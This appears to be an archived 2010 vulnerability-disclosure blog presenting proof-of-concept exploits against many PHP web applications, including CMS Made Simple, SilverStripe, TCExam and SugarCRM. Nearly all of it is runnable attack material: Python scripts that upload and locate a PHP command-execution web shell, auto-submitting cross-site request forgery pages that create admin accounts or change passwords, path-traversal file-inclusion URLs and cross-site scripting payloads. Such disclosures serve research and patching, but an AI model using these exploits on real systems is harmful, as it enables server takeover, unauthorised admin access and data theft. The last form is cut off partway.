This site is soon to be deprecated by http://www.johnleitch.net

Sunday, July 11, 2010

CMS Made Simple 1.8 Download Manager 1.4.1 Module Arbitrary Upload

An arbitrary upload vulnerability in CMS Made Simple 1.8 Download Manager 1.4.1 Module can be exploited to upload a PHP shell.

PoC
import socket, re

host = 'localhost'
path = '/cmsms'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/modules/DownloadManager/lib/simple-upload/example.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Proxy-Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 189\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="file"; filename="shell.php"\r\n'
'Content-Type: application/octet-stream\r\n'
'\r\n'
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
'------x--\r\n'
'\r\n')

resp = s.recv(8192)

http_ok = 'HTTP/1.1 200 OK'

if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded'

shell_path = path + '/modules/DownloadManager/lib/simple-upload/'\
+ re.search(u'shell_[^.]+\.php', resp).group(0)

s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')

if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else: print 'shell located at http://' + host + shell_path

upload_shell()

CMS Made Simple 1.8 Antz Toolkit 1.02 Module Arbitrary Upload

An arbitrary upload vulnerability in CMS Made Simple 1.8 Antz Toolkit 1.02 Module can be exploited to upload a PHP shell.

PoC
import socket

host = 'localhost'
path = '/cmsms'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/include.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Proxy-Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 257\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="antzSeed"\r\n'
'\r\n'
'\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="shell_file"; filename="shell.php"\r\n'
'Content-Type: application/octet-stream\r\n'
'\r\n'
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
'------x--\r\n'
'\r\n')

resp = s.recv(8192)

s.close()

http_ok = 'HTTP/1.1 200 OK'

if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded'

print 'searching or shell'

for i in range(0, 9999):

shell_path = path + '/modules/antz/tmp/' + str(i) + 'shell.php'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')

if http_ok in s.recv(8192)[:len(http_ok)]:
print '\r\nshell located at http://' + host + shell_path
break
else:
print '.',

upload_shell()

CMS Made Simple 1.8 Local File Inclusion

A local file inclusion vulnerability in CMS Made Simple 1.8 can be exploited to include arbitrary files.

PoC
import httplib, urllib

host = 'localhost'
path = '/cmsms'

lfi = '../' * 32 + 'windows/win.ini\x00'

c = httplib.HTTPConnection(host)
c.request('POST', path + '/admin/addbookmark.php',
urllib.urlencode({ 'default_cms_lang': lfi }),
{ 'Content-type': 'application/x-www-form-urlencoded' })
r = c.getresponse()

print r.status, r.reason
print r.read()

Orbis 1.0.2 Authentication Bypass

An authentication bypass vulnerability in Orbis 1.0.2 can be exploited to create a new admin.

Exploit
Several admin related scripts fail to terminate after setting the header location field.


PoC
http://localhost/orbis/admin/admin_users_create.php?nusern=new_admin&nuserp=Password1&nusert=2&nusere=@

PyroCMS 0.9.9.1 Cross-site Request Forgery

A cross-site request forgery vulnerability in PyroCMS 0.9.9.1 can be exploited to create a new admin.

PoC
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://localhost/pyrocms/index.php/admin/users/create">
<input type="hidden" name="first_name" value="a" />
<input type="hidden" name="last_name" value="a" />
<input type="hidden" name="email" value="new_admin@x.com" />
<input type="hidden" name="username" value="new_admin" />
<input type="hidden" name="display_name" value="a" />
<input type="hidden" name="group" value="admin" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="password" value="Password1" />
<input type="hidden" name="confirm_password" value="Password1" />
<input type="hidden" name="btnAction" value="save" />
</form>
</body>
</html>

LifeType 1.2.10 Cross-site Request Forgery

A cross-site request forgery vulnerability in LifeType 1.2.10 can be exploited to create a new admin.

PoC
<html>
<body>
<img src="http://localhost/lifetype-1.2.10/admin.php?userName=newadmin&userFullName=&newUserPassword=Password1&userEmail=a%40a.com&userStatus=1&blogId=1&blogName=asdfasdfs&userPermissions%5B49%5D=49&userPermissions%5B58%5D=58&userPermissions%5B52%5D=52&userPermissions%5B43%5D=43&userPermissions%5B46%5D=46&userPermissions%5B55%5D=55&userPermissions%5B39%5D=39&userPermissions%5B41%5D=41&userPermissions%5B1%5D=1&userPermissions%5B66%5D=66&userPermissions%5B65%5D=65&userPermissions%5B51%5D=51&userPermissions%5B60%5D=60&userPermissions%5B62%5D=62&userPermissions%5B54%5D=54&userPermissions%5B45%5D=45&userPermissions%5B64%5D=64&userPermissions%5B48%5D=48&userPermissions%5B57%5D=57&userPermissions%5B42%5D=42&userPermissions%5B50%5D=50&userPermissions%5B59%5D=59&userPermissions%5B61%5D=61&userPermissions%5B53%5D=53&userPermissions%5B44%5D=44&userPermissions%5B63%5D=63&userPermissions%5B47%5D=47&userPermissions%5B56%5D=56&userPermissions%5B40%5D=40&Add+User=Add&op=addUser" />
</body>
</html>

Globber 1.4 Cross-site Request Forgery

A cross-site request forgery vulnerability in Globber can be exploited
to add and delete blog posts.

PoC
<!-- Add (note that blog also must be "rebuilt") -->
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://localhost/globber/admin.php?task=edit&c=Misc&a=new-article">
<input type="hidden" name="title" value="New Article" />
<input type="hidden" name="date" value="06-07-2010 10:16 pm" />
<input type="hidden" name="tags" value="" />
<input type="hidden" name="content" value="&lt;script&gt;alert(0)&lt;/script&gt;" />
</form>
</body>
</html>

<!-- Delete -->
<html>
<body>
<img src="http://localhost/globber/admin.php?task=articles&delc=Misc&dela=first-post" />
</body>
</html>

InterPhoto 2.3.0 Cross-site Request Forgery

A cross-site request forgery vulnerability in InterPhoto 2.3.0 can be exploited to change a user's password.

PoC
<html>
<body>
<img src="http://localhost/interphoto/mydesk.edit.php?action=updateuser&password=newpassword&repassword=newpassword&email=a%40a.com&userfullname=&usercompany=&useraddress=&userpostcode=&usertel=&userfax=&useronline=&userwebsite=" />
</body>
</html>

chillyCMS 1.1.3 Cross-site Request Forgery

A cross-site request forgery vulnerability in chillyCMS 1.1.3 can be exploited to create a new admin.

PoC
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://localhost/chillyCMS/admin/usersgroups.site.php">
<input type="hidden" name="user" value="new_admin" />
<input type="hidden" name="name" value="a" />
<input type="hidden" name="pw" value="Password1" />
<input type="hidden" name="pw2" value="Password1" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="gids%5B%5D" value="1" />
<input type="hidden" name="gids%5B%5D" value="3" />
<input type="hidden" name="gids%5B%5D" value="4" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="language" value="en" />
<input type="hidden" name="getnewsletter" value="1" />
<input type="hidden" name="myaction" value="new" />
<input type="hidden" name="action" value="updateuser" />
<input type="hidden" name="id" value="" />
</form>
</body>
</html>

ImpressCMS 1.2.1 Final Reflected Cross-site Scripting

A reflected cross-site scripting vulnerability in ImpressCMS 1.2.1 Final can be exploited to execute arbitrary JavaScript.

PoC
http://localhost/impresscms/plugins/csstidy/css_optimiser.php?url=%22%3E%3Cscript%3Ealert(0)%3C/script%3E

RunCMS 2.1 Magpie RSS Module Reflected Cross-site Scripting

A reflected cross-site scripting vulnerability in RunCMS 2.1 Magpie RSS Module can be exploited to execute arbitrary JavaScript.

PoC
http://localhost/runcms2.1/modules/headlines/magpierss/scripts/magpie_debug.php?url=%3Cscript%3Ealert(0)%3C/script%3E

PeteWiki 0.6 Reflected XSS

A reflected cross-site scripting vulnerability in PeteWiki 0.6 can be exploited to execute arbitrary JavaScript.

PoC
http://localhost/petewiki/index.php?show=%3Cscript%3Ealert(0)%3C/script%3E

Lion Wiki 3.2.3 Reflected Cross-site Scripting

A reflected cross-site scripting vulnerability in Lion Wiki 3.2.3 can be exploited to execute arbitrary JavaScript.

PoC
http://localhost/lionwiki/index.php?error=%3Cscript%3Ealert(0)%3C/script%3E&page=a

Monday, July 5, 2010

NetworX 1.03 Arbitrary Upload

An arbitrary upload vulnerability in NetworX 1.0.3 can be exploited to upload a PHP shell.

PoC
import sys, socket
host = 'localhost'
path = '/networx'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/upload.php?logout=shell.php HTTP/1.1\r\n'
'Host: ' + host + '\r\n'
'Proxy-Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 193\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="Filedata"; filename="shell.php"\r\n'
'Content-Type: application/octet-stream\r\n\r\n'
'<?php echo "<pre>" + system($_GET["CMD"]) + "</pre>"; ?>\r\n'
'------x--\r\n\r\n')

resp = s.recv(8192)

http_ok = 'HTTP/1.1 200 OK'

if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded'

shell_path = path + '/tmp/shell.php'

s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')

if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else: print 'shell located at http://' + host + shell_path

upload_shell()

nuBuilder 10.04.20 Local File Inclusion

A local file inclusion vulnerability in nuBuilder 10.04.20 can be exploited to include arbitrary files.

PoC
http://localhost/nubuilder-10.04.20/productionnu2/fileuploader.php?dir=../../../../../../../../windows/system.ini

Lanius CMS 0.5.2 r1668 Cross-site Request Forgery

A cross-site request forgery vulnerability in Lanius CMS 0.5.2 r1668 can be exploited to create a new admin.

PoC
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://localhost/laniuscms/admin.php?com_option=user">
<input type="hidden" name="task" value="create" />
<input type="hidden" name="user_id" value="" />
<input type="hidden" name="user_name" value="a" />
<input type="hidden" name="user_user" value="new_admin" />
<input type="hidden" name="user_email" value="a@a.com" />
<input type="hidden" name="user_lang" value="" />
<input type="hidden" name="user_tz" value="" />
<input type="hidden" name="user_gid" value="5" />
<input type="hidden" name="user_password" value="Password1" />
<input type="hidden" name="user_password1" value="Password1" />
</form>
</body>
</html>

Log1 CMS 2.0 Cross-site Request Forgery

A cross-site request forgery vulnerability in Log1 CMS 2.0 can be exploited to change the admin username and password.

PoC
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://localhost/log1cms2.0/admin/main.php?action=step1">
<input type="hidden" name="title" value="log1 CMS" />
<input type="hidden" name="desc" value="log1cms official page" />
<input type="hidden" name="key" value="log1, log 1, CMS, content managment system" />
<input type="hidden" name="language" value="0" />
<input type="hidden" name="bgcolor" value="#ffffff" />
<input type="hidden" name="textcolor" value="#999999" />
<input type="hidden" name="specialcolor" value="#000000" />
<input type="hidden" name="login" value="admin" />
<input type="hidden" name="pass" value="Password1" />
<input type="hidden" name="isMd5" value="1" />
<input type="hidden" name="google_login" value="gerard.caplain" />
<input type="hidden" name="email" value="log_1[ at ]users.sourceforge.net" />
<input type="hidden" name="copyright" value="2010 by log1" />
</form>
</body>
</html>

ATutor 2.0 Cross-site Request Forgery

A cross-site request forgery vulnerability in ATutor 2.0 can be exploited to create a new admin (new_admin/Password1).

PoC
<html>
<body onload="document.forms[0].submit.click()">
<form method="POST" action="http://localhost/atutor/mods/_core/users/admins/create.php">
<input type="hidden" name="form_password_hidden" value="70ccd9007338d6d81dd3b6271621b9cf9a97ea00" />
<input type="hidden" name="password_error" value="" />
<input type="hidden" name="login" value="new_admin" />
<input type="hidden" name="password" value="" />
<input type="hidden" name="confirm_password" value="" />
<input type="hidden" name="real_name" value="" />
<input type="hidden" name="email" value="x@x.com" />
<input type="hidden" name="priv_admin" value="1" />
<input type="submit" name="submit" value="Save" />
</form>
</body>
</html>

nuBuilder 10.04.20 Reflected XSS

An XSS vulnerability in nuBuilder 10.04.20 can be exploited to
execute arbitrary JavaScript.

PoC
http://localhost/nubuilder-10.04.20/productionnu2/nuedit.php?f=%3Cscript%3Ealert(0)%3C/script%3E

News Office 2.0.18 Reflected XSS

An XSS vulnerability in News Office 2.0.18 can be exploited to
execute arbitrary JavaScript.

PoC
http://localhost/newsoffice/news_show.php?n-user=a&n-cat='%3E%3Cscript%3Ealert(0)%3C/script%3E

Bit Weaver 2.7 Reflected XSS

An XSS vulnerability in Bit Weaver 2.7 can be exploited to
execute arbitrary JavaScript.

PoC
http://localhost/bitweaver/themes/preview_image.php?fImg=%22%3E%3Cscript%3Ealert(0)%3C/script%3E

odCMS 1.07 Reflected XSS

An XSS vulnerability in odCMS 1.07 can be exploited to
execute arbitrary JavaScript.

PoC
http://localhost/odcms/codes/archive.php?design=%3Cscript%3Ealert(0)%3C/script%3E

NetworX 1.0.3 Reflected XSS

An XSS vulnerability in NetworX 1.0.3 can be exploited to
execute arbitrary JavaScript.

PoC
http://localhost/networx/group_connections_list_popup.php?group_id=%22%3E%3Cscript%3Ealert(0)%3C/script%3E

Orbis 1.0.2 Reflected XSS

An XSS vulnerability in Orbis 1.0.2 can be exploited to
execute arbitrary JavaScript.

PoC
http://localhost/orbis/admin/editors/text/editor-body.php?s=%22%3E%3Cscript%3Ealert(0)%3C/script%3E

Thursday, July 1, 2010

TomatoCart 1.0 Cross-site Request Forgery

A cross-site request forgery vulnerability in TomatoCart 1.0 can be exploited to create a new admin.

PoC
<html>
<body>
<img src="http://localhost/tomatocart/admin/json.php?module=administrators&action=save_administrator&modules=categories%2Cfeature_products_manager%2Cmanufacturers%2Cproduct_variants%2Cproducts%2Cproducts_attributes%2Cproducts_expected%2Cquantity_discount_groups%2Creviews%2Csearch_terms%2Cspecials%2Cconfiguration%2Cwizard_installation%2Chomepage_meta_info%2Carticles%2Carticles_categories%2Cfaqs%2Cslide_images%2Crecorvered_cart%2Ccoupons%2Ccredits_memo%2Ccustomers%2Ccustomers_groups%2Cemail%2Cgift_certificates%2Cinvoices%2Corders%2Corders_returns%2Cpurchased_downloadables%2Ccountries%2Ccredit_cards%2Ccurrencies%2Cimage_groups%2Cinformation%2Clanguages%2Corders_status%2Ctax_classes%2Cunit_classes%2Cweight_classes%2Czone_groups%2Cmodules_geoip%2Cmodules_order_total%2Cmodules_payment%2Cmodules_shipping%2Cservices%2Creports_customers%2Creports_products%2Creports_web%2Clogo_upload%2Ctemplates%2Ctemplates_modules%2Ctemplates_modules_layout%2Cadministrators%2Cadministrators_log%2Cbackup%2Cbanner_manager%2Ccache%2Cdashboard%2Cemail_templates%2Cfile_manager%2Cgoogle_sitemap%2Cimages%2Cimport_export%2Cnewsletters%2Cserver_info%2Cwhos_online&access_globaladmin=on&user_name=new_admin&user_password=Password1&email_address=test%40test.com" />
</body>
</html>

Bit Weaver 2.7 Local File Inclusion

A local file inclusion vulnerability in Bit Weaver 2.7 can be exploited to include arbitrary files.

PoC
http://localhost/bitweaver/wiki/rankings.php?style=../../../../../../../../windows/system.ini

Wiki Web Help 0.2.7 Arbitrary Upload

An arbitrary upload vulnerability in Wiki Web Help 0.2.7 can be exploited to upload a PHP shell.


PoC
import sys, socket
host = 'localhost'
path = '/wwh'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/handlers/uploadimage.php HTTP/1.1\r\n'
'Host: ' + host + '\r\n'
'Proxy-Connection: keep-alive\r\n'
'Content-Length: 194\r\n'
'Cache-Control: max-age=0\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n'
'Content-Type: application/octet-stream\r\n\r\n'
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
'------x--\r\n\r\n')

resp = s.recv(8192)

http_ok = 'HTTP/1.1 200 OK'

if http_ok not in resp:
print 'error uploading shell'
return
else: print 'shell uploaded'

s.send('GET ' + path + '/images/shell.php HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')

if http_ok not in s.recv(8192): print 'shell not found'
else: print 'shell located at ' + path + '/images/shell.php'

upload_shell()

Wiki Web Help 0.2.7 Persistent/Reflected XSS

Several XSS vulnerabilities in Wiki Web Help 0.2.7 can be exploited to execute arbitrary JavaScript.

Exploit
Persistent: Event attributes are not removed from user submitted HTML elements.

Reflected: The rev query string field of revert.php does not HTML encode user submitted data.


PoC
Persistent: <div onmouseover="alert(0)" style="margin:-500px;width:9999px;height:9999px;position:absolute;"></div>

Reflected: http://localhost/wwh/revert.php?rev=%3Cscript%3Ealert(0)%3C/script%3E

Monday, June 7, 2010

SilverStripe CMS 2.4.0 Arbitrary Upload

An arbitrary upload vulnerability in SilverStripe CMS 2.4.0 can be exploited to upload a PHP shell. A user account with File & Images permission is necessary to exploit this vulnerability.

PoC
Silverstripe-Shell.py
import sys, socket, re
host = '192.168.1.4'
path = '/silverstripe'
username = 'admin'
password = 'Password1'
port = 80

def send_request(request):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send(request)

resp = ''

while 1:
r = s.recv(8192)
if not r: break
resp += r
if r[:15] == 'HTTP/1.1 302 OK': break

s.close()

return resp

def upload_shell():
print 'authenticating'

content = 'AuthenticationMethod=MemberAuthenticator&Email=' + username + '&Password='+ password + '&action_dologin=Log+in'

header = 'POST http://' + host + path + '/Security/LoginForm HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Connection: keep-alive\r\n'\
'User-Agent: x\r\n'\
'Content-Length: ' + str(len(content)) + '\r\n'\
'Cache-Control: max-age=0\r\n'\
'Origin: http://' + host + '\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\
'Accept-Encoding: gzip,deflate,sdch\r\n'\
'Accept-Language: en-US,en;q=0.8\r\n'\
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
'\r\n'

resp = send_request(header + content)

print 'uploading shell'

match = re.findall(u'Set-Cookie:\s([^\r\n]+)', resp)

for m in match:
if m[:9] == 'PHPSESSID':
cookie = m

content = '------x\r\n'\
'Content-Disposition: form-data; name="ID"\r\n'\
'\r\n'\
'0\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="FolderID"\r\n'\
'\r\n'\
'0\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="action_doUpload"\r\n'\
'\r\n'\
'1\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="Files[1]"; filename=""\r\n'\
'\r\n'\
'\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="Files[0]"; filename="shell.jpg"\r\n'\
'Content-Type: image/jpeg\r\n'\
'\r\n'\
'<?php echo "<pre>" + system($_GET["CMD"]) + "</pre>"; ?>\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n'\
'\r\n'\
'\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="action_upload"\r\n'\
'\r\n'\
'Upload Files Listed Below\r\n'\
'------x--\r\n'\

header = 'POST http://' + host + path + '/admin/assets/UploadForm HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Proxy-Connection: keep-alive\r\n'\
'User-Agent: x\r\n'\
'Content-Length: ' + str(len(content)) + '\r\n'\
'Cache-Control: max-age=0\r\n'\
'Origin: http://' + host + '\r\n'\
'Content-Type: multipart/form-data; boundary=----x\r\n'\
'Accept: text/html\r\n'\
'Accept-Encoding: gzip,deflate,sdch\r\n'\
'Accept-Language: en-US,en;q=0.8\r\n'\
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
'Cookie: ' + cookie + '\r\n'\
'\r\n'

resp = send_request(header + content)

print 'grabbing ids'

file_id = re.search(u'/\*\sIDs:\s(\d+)\s\*/', resp).group(1)
file_name = re.search(u'/\*\sNames:\s([^\*]+)\s\*/', resp).group(1)

resp = send_request('GET http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1 HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Cookie: ' + cookie + '\r\n\r\n')

print 'renaming shell'

security_id = re.search(u'name="SecurityID" value="(\d+)"', resp).group(1)
owner_id = re.search(u'option selected="selected" value="(\d+)"', resp).group(1)

content = 'Title=' + file_name + '&Name=shell.php&FileType=JPEG+image+-+good+for+photos&Size=56+bytes&OwnerID=' + owner_id + '&Dimensions=x&ctf%5BchildID%5D=' + file_id + '&ctf%5BClassName%5D=File&SecurityID=' + security_id + '&action_saveComplexTableField=Save'

header = 'POST http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/DetailForm HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Proxy-Connection: keep-alive\r\n'\
'User-Agent: x\r\n'\
'Referer: http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1\r\n'\
'Content-Length: ' + str(len(content)) + '\r\n'\
'Cache-Control: max-age=0\r\n'\
'Origin: http://' + host + '\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\
'Accept-Encoding: gzip,deflate,sdch\r\n'\
'Accept-Language: en-US,en;q=0.8\r\n'\
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
'Cookie: ' + cookie + '; PastMember=1\r\n'\
'\r\n'

resp = send_request(header + content)

print 'shell located at http://' + host + path + '/assets/shell.php'

upload_shell()

Tuesday, June 1, 2010

TCExam 10.1.006 Arbitrary Upload

An arbitrary upload vulnerability in tce_functions_tcecode_editor.php of TCExam 10.1.006 can be exploited to upload a PHP shell.

PoC
TCExam-Shell.py
import sys, socket
host = 'localhost'
tc_exam = 'http://' + host + '/TCExam'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

content = '------x\r\n'\
'Content-Disposition: form-data; name="sendfile0"\r\n'\
'\r\n'\
'shell.php\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="userfile0"; filename="shell.php"\r\n'\
'Content-Type: application/octet-stream\r\n'\
'\r\n'\
'<?php echo "<pre>" + system($_GET["CMD"]) + "</pre>"; ?>\r\n'\
'------x--\r\n'\
'\r\n'

header = 'POST ' + tc_exam + '/admin/code/tce_functions_tcecode_editor.php HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Proxy-Connection: keep-alive\r\n'\
'User-Agent: x\r\n'\
'Content-Length: ' + str(len(content)) + '\r\n'\
'Cache-Control: max-age=0\r\n'\
'Origin: null\r\n'\
'Content-Type: multipart/form-data; boundary=----x\r\n'\
'Accept: text/html\r\n'\
'Accept-Encoding: gzip,deflate,sdch\r\n'\
'Accept-Language: en-US,en;q=0.8\r\n'\
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
'Cookie: LastVisit=1275442604\r\n'\
'\r\n'

s.send(header + content)

http_ok = 'HTTP/1.1 200 OK'

if http_ok not in s.recv(8192):
print 'error uploading shell'
return
else: print 'shell uploaded'

s.send('GET ' + tc_exam + '/cache/shell.php HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')

if http_ok not in s.recv(8192): print 'shell not found'
else: print 'shell located at ' + tc_exam + '/cache/shell.php'

upload_shell()

Sunday, May 30, 2010

Fiddler XSRF Inspector 1.0 Released

Download



Overview
Fiddler XSRF Inspector is a plugin for Fiddler 2 that extracts cross-site request forgery attacks from HTTP requests.

Installation
Copy FiddlerXSRF.dll to the Fiddler 2 Inspectors folder, generally %ProgramFiles%\Fiddler2\Inspectors

Instructions
1) Capture the request that is going to be used to create a cross-site request forgery attack.
2) Navigate to the XSRF tab under inspectors to see the generated HTML. If the request uses the POST method, the option to convert it to GET will be available.
3) Click the Test button and observe the results.

Change Log
1.0
Initial Release

SugarCRM Community Edition 5.5.2 Cross-site Request Forgery

A cross-site request forgery vulnerability in SugarCRM Community Edition 5.5.2 can be exploited to create a new admin.

PoC
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://192.168.1.4/sugarcrm/index.php">
<input type="hidden" name="display_tabs_def" value="display_tabs[]=Home&amp;display_tabs[]=Dashboard&amp;display_tabs[]=Calendar&amp;display_tabs[]=Activities&amp;display_tabs[]=Leads&amp;display_tabs[]=Contacts&amp;display_tabs[]=Accounts&amp;display_tabs[]=Opportunities&amp;display_tabs[]=Emails&amp;display_tabs[]=Campaigns&amp;display_tabs[]=Cases&amp;display_tabs[]=Documents&amp;" />
<input type="hidden" name="hide_tabs_def" value="" />
<input type="hidden" name="remove_tabs_def" value="" />
<input type="hidden" name="module" value="Users" />
<input type="hidden" name="record" value="" />
<input type="hidden" name="action" value="Save" />
<input type="hidden" name="page" value="EditView" />
<input type="hidden" name="return_module" value="Users" />
<input type="hidden" name="return_id" value="" />
<input type="hidden" name="return_action" value="DetailView" />
<input type="hidden" name="password_change" value="true" />
<input type="hidden" name="required_password" value="1" />
<input type="hidden" name="user_name" value="" />
<input type="hidden" name="type" value="" />
<input type="hidden" name="is_group" value="0" />
<input type="hidden" name="portal_only" value="" />
<input type="hidden" name="is_admin" value="1" />
<input type="hidden" name="is_current_admin" value="1" />
<input type="hidden" name="required_email_address" value="0" />
<input type="hidden" name="sugar_user_name" value="new_admin" />
<input type="hidden" name="unique_name" value="" />
<input type="hidden" name="first_name" value="" />
<input type="hidden" name="status" value="Active" />
<input type="hidden" name="last_name" value="a" />
<input type="hidden" name="UserType" value="Administrator" />
<input type="hidden" name="old_password" value="" />
<input type="hidden" name="new_password" value="Password1" />
<input type="hidden" name="confirm_new_password" value="Password1" />
<input type="hidden" name="emailAddressWidget" value="1" />
<input type="hidden" name="emailAddress0" value="" />
<input type="hidden" name="emailAddressPrimaryFlag" value="emailAddress0" />
<input type="hidden" name="emailAddressVerifiedFlag0" value="true" />
<input type="hidden" name="emailAddressVerifiedValue0" value="" />
<input type="hidden" name="useEmailWidget" value="true" />
<input type="hidden" name="email_link_type" value="sugar" />
<input type="hidden" name="mail_smtpuser" value="" />
<input type="hidden" name="mail_smtppass" value="" />
<input type="hidden" name="employee_status" value="Active" />
<input type="hidden" name="title" value="" />
<input type="hidden" name="phone_work" value="" />
<input type="hidden" name="department" value="" />
<input type="hidden" name="phone_mobile" value="" />
<input type="hidden" name="reports_to_name" value="" />
<input type="hidden" name="reports_to_id" value="" />
<input type="hidden" name="phone_other" value="" />
<input type="hidden" name="phone_fax" value="" />
<input type="hidden" name="phone_home" value="" />
<input type="hidden" name="messenger_type" value="" />
<input type="hidden" name="messenger_id" value="" />
<input type="hidden" name="address_street" value="" />
<input type="hidden" name="address_city" value="" />
<input type="hidden" name="address_state" value="" />
<input type="hidden" name="address_postalcode" value="" />
<input type="hidden" name="address_country" value="" />
<input type="hidden" name="description" value="" />
<input type="hidden" name="receive_notifications" value="12" />
<input type="hidden" name="export_delimiter" value="," />
<input type="hidden" name="mailmerge_on" value="0" />
<input type="hidden" name="reminder_time" value="60" />
<input type="hidden" name="default_export_charset" value="ISO-8859-1" />
<input type="hidden" name="user_max_tabs" value="12" />
<input type="hidden" name="user_max_subtabs" value="12" />
<input type="hidden" name="user_subpanel_tabs" value="on" />
<input type="hidden" name="dateformat" value="m/d/Y" />
<input type="hidden" name="currency" value="-99" />
<input type="hidden" name="timeformat" value="H:i" />
<input type="hidden" name="default_currency_significant_digits" value="2" />
<input type="hidden" name="timezone" value="Africa/Abidjan" />
<input type="hidden" name="ut" value="0" />
<input type="hidden" name="num_grp_sep" value="," />
<input type="hidden" name="default_locale_name_format" value="s f l" />
<input type="hidden" name="dec_sep" value="." />
<input type="hidden" name="calendar_publish_key" value="" />
